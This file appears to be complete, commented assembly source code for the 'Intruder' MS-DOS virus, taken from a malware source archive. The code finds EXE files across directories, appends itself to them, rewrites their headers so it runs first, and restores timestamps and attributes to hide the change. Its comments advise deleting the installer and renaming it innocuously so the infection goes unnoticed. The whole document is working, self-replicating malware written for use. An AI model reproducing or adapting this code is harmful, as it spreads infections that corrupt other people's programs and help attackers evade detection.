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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.intruder.asm

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;The Intruder Virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'INTRUDER.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;------------------------------------------------------------------------
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
;Intruder Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
;--------------------------------------------------------------------------
;Intruder virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz FINISH ;returned nz - no valid file, exit
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate success/failure
;--------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no - quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret
;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;no - valid directory, exit, setting Z flag
;else it was dir header entry, so fall through to next
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address again - may not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine
;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret
;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point to end of string 1
ret
;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly
;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0
;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening - C set - quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly
;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly
;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cxdx = position to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, then virus is not already in this file
stc ;else it is probably there already
II_RET: ret
;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
jz SB_E ;all set - exit
mov cx,10H ;no - write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret
;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H ;go to end of file
call SETBDY ;lengthen to a paragraph boundary if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being attacked with
mov ah,40H ;DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer relavtive to start of file
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
shr ax,cl
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
mov cl,4
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location= (No in table-2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
mov bx,OFFSET REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!
;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set
;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return
;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret
;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret
;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax
ret
;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret
FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;--------------------------------------------------------------------------
;Virus stack segment
VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS
END VIRUS ;Entry point is the virus

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